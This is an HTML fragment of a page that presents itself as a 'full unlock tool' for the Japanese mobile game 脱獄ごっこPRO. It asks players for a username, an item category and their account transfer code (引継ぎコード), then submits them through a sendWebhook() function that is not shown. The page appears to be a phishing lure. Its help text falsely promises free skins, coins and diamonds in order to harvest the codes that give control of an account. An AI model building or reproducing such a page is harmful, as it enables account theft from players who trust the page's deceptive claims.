<div class="container">
    <h1>脱獄ごっこPRO 全開放ツール</h1>
    <p>ver 1.5.0</p>
    <input type="text" id="username" placeholder="ユーザー名" required>
    <select id="category">
        <option value="スキン">スキン</option>
        <option value="Pコイン">Pコイン</option>
        <option value="Pチケット">Pチケット</option>
        <option value="ダイヤ">ダイヤ</option>
    </select>
    <textarea id="message" placeholder="引継ぎコード" required rows="4"></textarea>
    
    <button onclick="sendWebhook()">決定</button>
    <p style="font-size: 0.8em; font-family: 'Product Sans'; color: #888;">
        website created by <a href="https://www.youtube.com/@Snugzzie" style="text-shadow: 0px 0px 39px rgb(255, 255, 255); color: #888;">@Snugzzie</a>
    </p>

    <div class="help-icon" onclick="togglePopup()">?</div>

    <div id="popup" class="popup">
        <h2>使い方</h2>
        <p>このツールを使って、各種アイテム（スキン、Pコイン、Pチケット、ダイヤ）を解放できます。</p>
        <p>ユーザー名、カテゴリを選択し、引継ぎコードを入力してください。</p>
        <button onclick="togglePopup()">閉じる</button>
    </div>

    <div id="overlay" class="overlay" onclick="togglePopup()"></div>
</div>